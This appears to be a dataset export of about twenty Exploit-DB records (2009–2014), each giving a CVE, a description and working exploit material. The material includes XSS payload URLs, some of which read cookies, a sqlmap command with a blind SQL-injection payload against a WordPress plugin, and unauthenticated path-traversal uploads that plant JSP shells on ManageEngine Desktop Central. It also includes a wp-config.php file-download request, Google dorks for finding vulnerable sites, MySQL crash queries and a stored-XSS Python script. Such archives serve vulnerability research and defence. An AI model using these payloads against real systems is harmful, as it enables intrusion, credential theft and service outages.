QLWD/code_shield huggingface dataset:
标题: HP Insight Diagnostics Online Edition 8.4 - 'custom.php?testmode' Cross-Site Scripting EDB-ID: 34547 CVE: 2010-3003 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42888/info
    
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/custom.php?testMode=blah';</XSS%20STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68 linux URL: https://www.exploit-db.com/exploits/34547
标题: Oracle MySQL < 5.1.49 - 'DDL' Statements Denial of Service EDB-ID: 34522 CVE: 2010-3676 类型: DOS 平台: LINUX 发布日期: 2010-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/42643/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

Versions prior to MySQL 5.1.49 are vulnerable.

NOTE: This issue was previously disclosed in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record. 

thd->query at 0x14bcdf0 = CREATE TEMPORARY TABLE operations ( op VARCHAR(16) ) ENGINE =InnoDB URL: https://www.exploit-db.com/exploits/34522
标题: WordPress Plugin Huge-IT Image Gallery 1.0.1 - (Authenticated) SQL Injection EDB-ID: 34524 CVE: 2014-7153 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-02 漏洞利用脚本: ######################
# Exploit Title : Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://huge-it.com/

# Software Link : http://downloads.wordpress.org/plugin/gallery-images.zip
    Mirror Link : https://mega.co.nz/#!3EoUzSQI!yrl75XQsp1ggxDCjW-wq7yUxLdbLu0WHPNFcJAxJOHs

# Date : 2014-08-25

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0-dev-5b2ded0

######################

# Location :  
http://localhost/wp-content/plugins/gallery-images/admin/gallery_func.php

######################

# Vulnerable code :

function editgallery($id)
  {

          global $wpdb;

          if(isset($_GET["removeslide"])){
             if($_GET["removeslide"] != ''){


          $wpdb->query("DELETE FROM ".$wpdb->prefix."huge_itgallery_images  WHERE id = ".$_GET["removeslide"]." ");



           }
           }

######################

# PoC Exploit:

http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1 and 1=2


# Exploit Code via sqlmap:

sqlmap --cookie="INSERT_WORDPRESS_COOKIE_HERE" -u "http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1" \
-p removeslide --dbms=mysql --level 3

[20:38:20] [INFO] GET parameter 'removeslide' is 'MySQL >= 5.0 time-based blind - Parameter replace' injectable
...
...
...
---
Place: GET
Parameter: removeslide
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=(SELECT (CASE WHEN (5440=5440) THEN SLEEP(5) ELSE 5440*(SELECT 5440 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---


# PoC Video:

https://www.youtube.com/watch?v=gAmb0_o3ZUc

######################

# Vulnerability Disclosure Timeline:

2014-08-25:  Discovered vulnerability
2014-08-26:  Vendor Notification (Web Customers Service Form)
2014-08-26:  No Response/Feedback 
2014-08-01:  Plugin version 1.0.1 released without fix 
2014-08-02:  Public Disclosure
 
#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
  
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

##################### URL: https://www.exploit-db.com/exploits/34524
标题: Oracle MySQL 5.1.48 - 'HANDLER' Interface Denial of Service EDB-ID: 34520 CVE: 2010-3681 类型: DOS 平台: LINUX 发布日期: 2010-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/42633/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it.. 

--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_warnings
CREATE TABLE t1  ( pk INT , PRIMARY KEY (pk));
HANDLER t1 OPEN AS handler_a;
HANDLER handler_a READ FIRST;
HANDLER handler_a READ `PRIMARY` NEXT;

DROP TABLE t1; URL: https://www.exploit-db.com/exploits/34520
标题: Oracle MySQL < 5.1.49 - Malformed 'BINLOG' Arguments Denial of Service EDB-ID: 34521 CVE: 2010-3679 类型: DOS 平台: LINUX 发布日期: 2010-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/42638/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

Versions prior to MySQL 5.1.49 are vulnerable. 

The following example query is available:

mysql> BINLOG '-2079193929'; URL: https://www.exploit-db.com/exploits/34521
标题: Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting EDB-ID: 34525 CVE: 2014-6070 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-09-02 漏洞利用脚本: Vulnerability title: Syslog LogAnalyzer 3.6.5 Stored XSS
Author: Dolev Farhi
Contact: dolevf at yahoo dot com  @dolevff
Application: LogAnalyzer 3.6.5
Date: 8.2.2014
Relevant CVEs: CVE-2014-6070
Vulnerable version: <= 3.6.5
Fixed version: 3.6.6

1. About the application
------------------------
LogAnalyzer is a web interface to syslog and other network event data. 
It provides easy browsing, analysis of realtime network events and 
reporting services.


2. Vulnerabilities Descriptions:
-----------------------------
It was found that an XSS injection is possible on a syslog server 
running LogAnalyzer version 3.6.5.
by changing the hostname of any entity logging to syslog server with 
LogAnalyzer to <script>alert("xss")</script>, and sending an arbitrary
syslog message, a client-side script injection execution is possible.


4. proof of concept exploit
-----------------------
#!/usr/bin/python
# Exploit title = LogAnalyzer 3.5.6 Stored XSS injection
# Date: Sept 2014
# CVE: 2014-6070
# Tested on RHEL6.4

import os
import syslog

hostname = os.uname()[1]
payload = "\"<script>alert('XSS');</script>\""

print("+ Setting temporary hostname to " + payload + "...")
os.system("hostname " +  payload)

print("+ Injecting the syslog message...")
syslog.syslog("syslog xss injection")

print("+ Check LogAnalyzer dashboard...")

raw_input("+ Press [enter] to restore hostname...")
os.system("hostname " + "\""  +  hostname + "\"")

print("+ Hostname restored to " + hostname) URL: https://www.exploit-db.com/exploits/34525
标题: ManageEngine Desktop Central - Arbitrary File Upload / Remote Code Execution EDB-ID: 34518 CVE: 2014-5007 2014-5006 2014-5005 2013-7390 类型: WEBAPPS 平台: JSP 发布日期: 2014-09-01 漏洞利用脚本: Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP
Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================

Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management
software that helps in managing the servers, laptops, desktops,
smartphones and tablets from a central point. It automates your
regular desktop management routines like installing patches,
distributing software, managing your IT Assets, managing software
licenses, monitoring software usage statistics, managing USB device
usage, taking control of remote desktops, and more."

There are several vulnerable servers are out there if you know the
Google dorks. Quoting the author of the Internet Census 2012: "As a
rule of thumb, if you believe that "nobody would connect that to the
Internet, really nobody", there are at least 1000 people who did."
These vulnerabilities can be abused to achieve remote code execution
as SYSTEM in Windows. I've updated the desktopcentral_file_upload
Metasploit module to use the new statusUpdate technique. Needless to
say, owning a Desktop Central box will give you control of all the
computers and smartphones it manages.

Technical details:
#1
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: none; no authentication or any other information needed

a)
CVE-2014-5005
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1
<... your favourite jsp shell here ...>

b)
CVE-2014-5006
Affected versions: all versions from v8 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /mdm/mdmLogUploader?filename=..\\..\\..\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...>


#2
CVE-2014-5007
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: no authentication needed; need to know valid
computerName, domainName and customerId
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
Notes: This was previously discovered as CVE-2013-7390 / OSVDB-10008
by Thomas Hibbert, and was "fixed" in 2013-11-09. The fix is
incomplete and it is still possible to upload a shell with a valid
computerName, domainName and customerId.

POST /agentLogUploader?computerName=whatever1&domainName=whatever2&customerId=1337&filename=..\\..\\..\\..\\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...> URL: https://www.exploit-db.com/exploits/34518
标题: Arachni Web Application Scanner Web UI - Persistent Cross-Site Scripting EDB-ID: 34513 CVE: 2014-5469 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-09-01 漏洞利用脚本: Title: Arachni Web Application Scanner Web UI Stored XSS Vulnerability
CVE: 2014-5469
Vendor Homepage: http://www.arachni-scanner.com/
Author: Prakhar Prasad
Author Homepage: https://prakharprasad.com
Reference: https://github.com/Arachni/arachni-ui-web/issues/71
Affected Version: Arachni v0.4.7/WebUI v0.4.4 (possibly in lower versions
too)
Date: August 17th 2014
Tested on: Arachni v0.4.7/WebUI v0.4.4 - Ubuntu 14.04


 Details
=======

This is an authenticated Stored XSS, hence the user needs to be logged in
to exploit this issue.

A malicious user (admin/regular) can initiate a website scan in the Arachni
Web UI. After initiating the scan, there is an option of users to comment
onto it (with Markdown formatting). However using Markdown the malicious
user can craft a link that will execute arbitrary Javascript once clicked.

The proof of concept XSS comment: [XSS](javascript:alert('XSS'))

The above comment will roughly translate into: <a
href="javascript:alert('XSS');">XSS</a>. Hence creating an anchor with
user-supplied Javascript content. URL: https://www.exploit-db.com/exploits/34513
标题: MySQL 5.1.48 - 'EXPLAIN' Denial of Service EDB-ID: 34506 CVE: 2010-3682 类型: DOS 平台: LINUX 发布日期: 2010-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/42599/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it. 

CREATE TABLE t1 (a VARCHAR(10), FULLTEXT KEY a (a));
INSERT INTO t1 VALUES (1),(2);
CREATE TABLE t2 (b INT);
INSERT INTO t2 VALUES (1),(2);

EXPLAIN SELECT * FROM t1 UNION SELECT * FROM t1
  ORDER BY (SELECT a FROM t2 WHERE b = 12);

EXPLAIN SELECT * FROM t2 UNION SELECT * FROM t2
  ORDER BY (SELECT * FROM t1 WHERE MATCH(a) AGAINST ('+abc' IN BOOLEAN MODE));

DROP TABLE t1,t2;

exit; URL: https://www.exploit-db.com/exploits/34506
标题: MySQL 5.1.48 - 'Temporary InnoDB' Tables Denial of Service EDB-ID: 34505 CVE: 2010-3680 类型: DOS 平台: PHP 发布日期: 2010-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/42598/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit these issues to crash the database, denying access to legitimate users.

This issues affect versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42598 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it. 

mysql> SET storage_engine=MYISAM;

mysql> CREATE TEMPORARY TABLE mk_upgrade AS SELECT  IF(     NULL  IS NOT NULL,      NULL
, NULL) ; drop table mk_upgrade; URL: https://www.exploit-db.com/exploits/34505
标题: ViArt Helpdesk - 'products_search.php?search_category_id' Cross-Site Scripting EDB-ID: 34499 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info
    
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
httpwww.example.com/helpdesk-demo/products_search.php?search_category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34499
标题: OraclMySQL 5.1.48 - 'LOAD DATA INFILE' Denial of Service EDB-ID: 34510 CVE: 2010-3683 类型: DOS 平台: LINUX 发布日期: 2010-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/42625/info

MySQL is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users.

This issue affects versions prior to MySQL 5.1.49.

NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it.

# cat t/tst.test
# The file might exist or not, it does not make any difference.
# --send is important

CREATE TABLE test.t_load (id INT NOT NULL);
--send LOAD DATA LOCAL INFILE 'tb.txt' INTO TABLE test.t_load

#<EOF> URL: https://www.exploit-db.com/exploits/34510
标题: Mulitple WordPress Themes - 'admin-ajax.php?img' Arbitrary File Download EDB-ID: 34511 CVE: 2015-1579 2014-9734 类型: WEBAPPS 平台: PHP 发布日期: 2014-09-01 漏洞利用脚本: # WordPress CuckooTap Theme & eShop Arbitrary File Download
# Risk: High
# CWE number: CWE-200
# Author: Hugo Santiago
# Contact: hugo.s@linuxmail.org
# Date: 31/08/2014
# Vendor Homepage: http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405
# Tested on: Windows 7 and Gnu/Linux
# Google Dork: "Index of" +/wp-content/themes/cuckootap/

# WordPress IncredibleWP Theme Arbitrary File Download
# Vendor Homepage: http://freelancewp.com/wordpress-theme/incredible-wp/
# Google Dork: "Index of" +/wp-content/themes/IncredibleWP/

# WordPress Ultimatum Theme Arbitrary File Download
# Vendor Homepage: http://ultimatumtheme.com/ultimatum-themes/s
# Google Dork: "Index of" +/wp-content/themes/ultimatum

# WordPress Medicate Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/medicate-responsive-medical-and-health-theme/3707916
# Google Dork: "Index of" +/wp-content/themes/medicate/

# WordPress Centum Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
# Google Dork: "Index of" +/wp-content/themes/Centum/

# WordPress Avada Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
# Google Dork: "Index of" +/wp-content/themes/Avada/

# WordPress Striking Theme & E-Commerce Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
# Google Dork: "Index of" +/wp-content/themes/striking_r/

# WordPress Beach Apollo Arbitrary File Download
# Vendor Homepage: https://www.authenticthemes.com/theme/apollo/
# Google Dork: "Index of" +/wp-content/themes/beach_apollo/


PoC:

http://victim/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php URL: https://www.exploit-db.com/exploits/34511
标题: Flock Browser 3.0.0 - Malformed Bookmark HTML Injection EDB-ID: 34500 CVE: 2010-3202 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/42556/info

Flock Browser is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Flock 3.0.0.4094 are vulnerable.

<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p> URL: https://www.exploit-db.com/exploits/34500
标题: Cacti 0.8.7 (RedHat High Performance Computing [HPC]) - 'utilities.php?Filter' Cross-Site Scripting EDB-ID: 34504 CVE: 2010-2544 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/42575/info

Cacti is prone to cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to Cacti 0.8.7g are vulnerable.

http://www.example.com/cacti/utilities.php?tail_lines=50&message_type=-1&go.x=10&go.y=9&refresh=20&reverse=1&filter=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&page=1&action=view_logfile URL: https://www.exploit-db.com/exploits/34504
标题: Hitron Soft Answer Me - 'answers.php' Cross-Site Scripting EDB-ID: 34501 CVE: 2009-4868 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42558/info

Hitron Soft Answer Me is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Answer Me 1.0 is vulnerable; other versions may be affected. 

http://www.example.com/answers?q_id=1>"><ScRiPt %0D%0A>alert(413587968783)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34501
标题: ViArt Helpdesk - 'reviews.php?category_id' Cross-Site Scripting EDB-ID: 34497 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info
   
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
httpwww.example.com/helpdesk-demo/reviews.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34497
标题: ViArt Helpdesk - 'article.php?category_id' Cross-Site Scripting EDB-ID: 34495 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info
 
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
httpwww.example.com/helpdesk-demo/article.php?category_id=1--><ScRiPt %0D%0A>alert(516318270235)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34495
标题: ViArt Helpdesk - 'forum.php?forum_id' Cross-Site Scripting EDB-ID: 34498 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info
    
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
httpwww.example.com/helpdesk-demo/forum.php?forum_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34498
标题: ViArt Helpdesk - 'product_details.php?category_id' Cross-Site Scripting EDB-ID: 34496 CVE: 2009-4548 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42543/info
  
ViArt Helpdesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
httpwww.example.com/helpdesk-demo/product_details.php?category_id=1>"><ScRiPt %0D%0A>alert(414577246752)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34496
标题: Facil Helpdesk - 'kbase/kbase.php' URI Cross-Site Scripting EDB-ID: 34487 CVE: 2009-4544 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/42528/info

Facil Helpdesk is prone to multiple input-validation vulnerabilities, including a cross-site scripting vulnerability, a local file-include vulnerability, and a remote file-include vulnerability.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, obtain potentially sensitive information, execute local script code in the context of the application, or to execute arbitrary code within the context of the webserver process; other attacks are also possible.

Facil Helpdesk 2.3 Lite is vulnerable; other versions may also be affected.

http://www.example.com/kbase/kbase.php/"><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34487